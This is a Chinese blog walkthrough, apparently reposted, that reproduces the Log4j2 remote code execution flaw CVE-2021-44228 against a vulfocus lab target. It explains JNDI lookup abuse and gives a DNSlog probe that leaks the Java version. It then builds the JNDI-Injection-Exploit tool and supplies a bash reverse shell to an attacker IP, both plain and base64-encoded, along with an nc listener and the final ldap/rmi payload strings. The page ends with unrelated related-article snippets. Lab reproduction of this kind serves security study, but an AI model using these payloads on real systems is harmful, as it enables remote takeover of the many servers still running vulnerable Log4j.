Log4j2遠程命令執行(CVE-2021-44228)復現

這里選擇使用vulfocue的靶場來進行復現

描述:

Apache Log4j2 是一個基于 Java 的日志記錄工具。該工具重寫了 Log4j 框架,并且引入了大量豐富的特性。該日志框架被大量用于業務系統開發,用來記錄日志信息。 在大多數情況下,開發者可能會將用戶輸入導致的錯誤信息寫入日志中。攻擊者利用此特性可通過該漏洞構造特殊的數據請求包,最終觸發遠程代碼執行。

Lookup 操作:Log4j2 支持使用 JNDI 的lookup功能來解析和加載外部資源。例如,在日志格式中可以使用${jndi:ldap://example.com/}這樣的表達式,Log4j 會嘗試通過 JNDI 去指定的 LDAP 服務器獲取資源。

Java 的動態類加載機制:Java 的類加載器允許在運行時動態地加載類。當應用程序需要使用某個類時,如果該類尚未被加載到內存中,類加載器會根據類的名稱去查找并加載它。這種機制使得 Java 應用程序具有很強的靈活性和擴展性,但也可能帶來安全風險。

利用動態類加載執行代碼:攻擊者可以構造惡意的 JNDI 資源,當 Log4j 嘗試通過 JNDI 去獲取這個資源時,實際上可能會加載攻擊者指定的惡意類。例如,攻擊者在 LDAP 服務器上設置一個指向惡意類的鏈接,當 Log4j 執行lookup操作時,就會從 LDAP 服務器獲取到這個惡意類的信息,并通過 Java 的類加載器將其加載到應用程序的內存中。一旦惡意類被加載,它就可以在目標系統上執行任意代碼,例如創建新的進程、讀取或修改敏感數據、建立反向連接等。

logger.info("system propety: ${jndi:schema://url}");

1.啟動環境

點擊問號跳轉


發現url會出現變化

schema 是查找jndi對象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi幾種schema。

漏洞利用語句如下(替換 schema://url):

${jndi:schema://url}

驗證是否存在Log4j2遠程代碼執行,首先在DNSlog獲取一個域名。

DNSLog Platform

輸入下面的內容,注意替換你自己獲得的域名

${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}

這里注意,進行url編碼

Java程序解析這個表達式時,會將 ${sys:java.version} 替換為當前 JVM 的實際版本號,這樣你在DNSlog就能看到相關信息

JNDI 注入工具安裝

首先安裝 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

切換到 JNDI-Injection-Exploit 目錄

cd JNDI-Injection-Exploit

編譯安裝,在該目錄下執行如下命令

mvn clean package -DskipTests

編譯安裝完成后,我們會得到一個 jar 文件

位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

在運行結果的最后有給出:

切換進入到 target 目錄:

cd target

2、工具用法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要執行的命令" -A "攻擊機的ip"

3、服務站點部署

反彈 shell 到目標主機端口,這里以 7777 端口為例

bash -i >& /dev/tcp/192.168.217.134/7777 0>&1

對命令進行 base64 編碼 (命令必須經過編碼,不然無法實現)

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec

得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

將想要執行的命令替換成我們得到的 payload,以及填上我們的攻擊機ip

利用 JNDI 注入工具把這個反彈 shell 命令部署到 LDAP 服務上

在 target 目錄下,執行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"

4、開啟端口監聽

再開一個終端,監聽我們對應的端口(我這里的 payload 里為 7777)

nc -lvvp 7777

5、反彈shell

使用上述給出的 payload 路徑構造完整 payload

比如:

${jndi:rmi://192.168.217.134:1099/lzdfyj}
${jndi:ldap://192.168.217.134:1389/qtbchd}

我們可以針對不同版本和不同情況使用不同的服務和不同的 payload

url編碼

成功反彈shell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/79240.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/79240.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/79240.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

模型提示詞

一 提示詞 (一) 提示詞(Prompt)是用戶發送給大語言模型的問題、指令或請求,** 1 來明確地告訴模型用戶想要解決的問題或完成的任務,是大語言模型理解用戶需求并據此生成相關、準確回答或內容的基礎。對于…

深度學習算法:從基礎到實踐

簡介 深度學習作為人工智能領域的一個重要分支,近年來在多個領域取得了顯著的成就。本文將從基礎概念出發,探討深度學習算法的核心原理,并介紹一些實際應用案例。 深度學習算法的核心概念 深度學習算法基于人工神經網絡,通過構…

5.9 《GPT-4調試+測試金字塔:構建高可靠系統的5大實戰策略》

5.4 測試與調試:構建企業級質量的保障體系 關鍵詞:測試金字塔模型、GPT-4調試助手、LangChain調試模式、異步任務驗證 測試策略設計(測試金字塔實踐) #mermaid-svg-RblGbJVMnCIShiCW {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill…

Visio繪圖工具全面科普:解鎖專業圖表繪制新境界[特殊字符]

Visio繪圖工具全面科普:解鎖專業圖表繪制新境界🌟 在信息爆炸的時代,清晰、直觀地呈現復雜信息變得至關重要。無論是繪制流程圖📊、組織結構圖👥,還是規劃網絡拓撲🖧,一款強大的繪圖…

ShellScript腳本編程

語法基礎 腳本結構 我們先從這個小demo程序來窺探一下我們shell腳本的程序結構 #!/bin/bash# 注釋信息echo_str"hello world"test(){echo $echo_str }test echo_str 首先我們可以通過文本編輯器(在這里我們使用linux自帶文本編輯神器vim),新建一個文件…

你了解哪些Java限流算法?

大家好,我是鋒哥。今天分享關于【你了解哪些Java限流算法?】面試題。希望對大家有幫助; 你了解哪些Java限流算法? 1000道 互聯網大廠Java工程師 精選面試題-Java資源分享網 在 Java 中,限流算法廣泛用于控制流量、避免過載和保護系統的穩…

prime-2 靶場筆記(vuInhub靶場)

前言: 在本次靶場環境中涉及的知識點,主要包含LFI和SMB以及Lxd組提權,具體內容包括主機探測、端口掃描、目錄掃描、wpscan掃描、反彈shell、一句話木馬、容器、linux各種提權和維持。 環境介紹: 本靶場使用了kali(192…

SparseDrive---論文閱讀

純視覺下的稀疏場景表示 算法動機&開創性思路 算法動機: 依賴于計算成本高昂的鳥瞰圖(BEV)特征表示。預測和規劃的設計過于直接,沒有充分利用周圍代理和自我車輛之間的高階和雙向交互。場景信息是在agent周圍提取&#xff…

旅游特種兵迪士尼大作戰:DeepSeek高精準路徑優化

DeepSeek大模型高性能核心技術與多模態融合開發 - 商品搜索 - 京東 隨著假期的腳步日漸臨近,環球影城等備受矚目的主題游樂場,已然成為大人與孩子們心中不可或缺的節日狂歡圣地。然而,隨之而來的龐大客流,卻總讓無數游客在歡樂的…

android rtsp 拉流h264 h265,解碼nv12轉碼nv21耗時卡頓問題及ffmpeg優化

一、 背景介紹及問題概述 項目需求需要在rk3568開發板上面,通過rtsp協議拉流的形式獲取攝像頭預覽,然后進行人臉識別 姿態識別等后續其它操作。由于rtsp協議一般使用h.264 h265視頻編碼格式(也叫 AVC 和 HEVC)是不能直接用于后續處…

運維面試題(十四)

6.將日志從一臺服務器保存到另一臺服務器中的方法 1.使用 rsync 同步日志文件 2.使用 scp 手動或腳本化傳輸 3.配置日志服務(如 syslog 或 rsyslog )遠程傳輸 ? 4.編寫腳本定時上傳:結合 cron 定時任務和傳輸工具,編…

永磁同步電機控制中,滑模觀測器是基于反電動勢觀測轉子速度和角度的?擴展卡爾曼濾波觀測器是基于什么觀測的?擴展卡爾曼濾波觀測器也是基于反電動勢嗎?

滑模觀測器在PMSM中的應用: 滑模觀測器是一種非線性觀測器,利用切換函數設計,使得狀態估計誤差迅速趨近于零,實現快速響應和對外部干擾的魯棒性。 在永磁同步電機(PMSM)無傳感器控制中,滑模觀測…

【前端】Vue一本通 ESLint JSX

近幾天更新完畢,不定期持續更新,建議關注收藏點贊。 目錄 工具推薦vscode插件vue-devtoolsESLint JSX語法擴展簡介設計模式快速入門 vue/cli腳手架使用vue指令 工具推薦 工欲善其事,必先利其器。 vscode插件 Vetur:vue代碼高亮…

【adb】bat批處理+adb 自動亮屏,自動解鎖屏幕,啟動王者榮耀

準備adb 下載 需要確認是否安裝了adb.exe文件,可以在: 任務管理器 -->詳細信息–>找一下后臺運行的adb 安裝過anroid模擬器,也存在adb,例如:雷電安裝目錄 D:\leidian\LDPlayer9 單獨下載adb 官方下載地址:[官方網址] 下載目錄文件: 測試adb USB連接手機 首先在設置界…

微信小程序轉為App實踐篇 FinClip

參考下面鏈接先 開始實踐 微信小程序轉為App并上架應用市場_微信小程序生成app-CSDN博客 首先在FinClip 官網上下載應用 小程序開發工具下載_小程序sdk下載資源-FinClip資源下載|泰坪小程序開放平臺 下載到本地安裝 打開導入自己的小程序項目;導入時會解析自己的…

arco design框架中的樹形表格使用中的緩存問題

目錄 1.問題 2.解決方案 1.問題 arco design框架中的樹形表格使用中的緩存問題,使用了樹形表格的load-more懶加載 點擊展開按鈕后,點擊關閉,再次點擊展開按鈕時,沒有調用查詢接口,而是使用了緩存的數據。 2.解決方…

100個GEO基因表達芯片或轉錄組數據處理023.GSE24807

100個GEO基因表達芯片或轉錄組數據處理 寫在前邊 雖然現在是高通量測序的時代,但是GEO、ArrayExpress等數據庫儲存并公開大量的基因表達芯片數據,還是會有大量的需求去處理芯片數據,并且建模或驗證自己所研究基因的表達情況,芯片…

SAP ECCS標準報表在報表中不存在特征CG細分期間 消息號 GK715報錯分析

ECCS報表執行報錯: 在報表中不存在特征CG細分期間 消息號 GK715 診斷 未在報表中指定特征CG細分期間。但是,同時需要特征CG細分期間和其它特征。例如: 期間’需要用于擴展合并組。 系統響應 處理終止 步驟 調整報表定義。 報這個錯。 業務背景…

spring boot 文件下載

1.添加文件下載工具依賴 Commons IO is a library of utilities to assist with developing IO functionality. <dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.6</version> </depe…

FastAPI 中定義接口函數參數,包含請求體參數、查詢參數、依賴注入參數的組合

FastAPI 中定義接口函數參數&#xff0c;包含請求體參數、查詢參數、依賴注入參數的組合。 ? 示例結構 async def chat(request: Request,data: ChatData,conversation_id: Optional[str] Query(None),current_user: User Depends(get_current_user), ):這表示你定義了一個…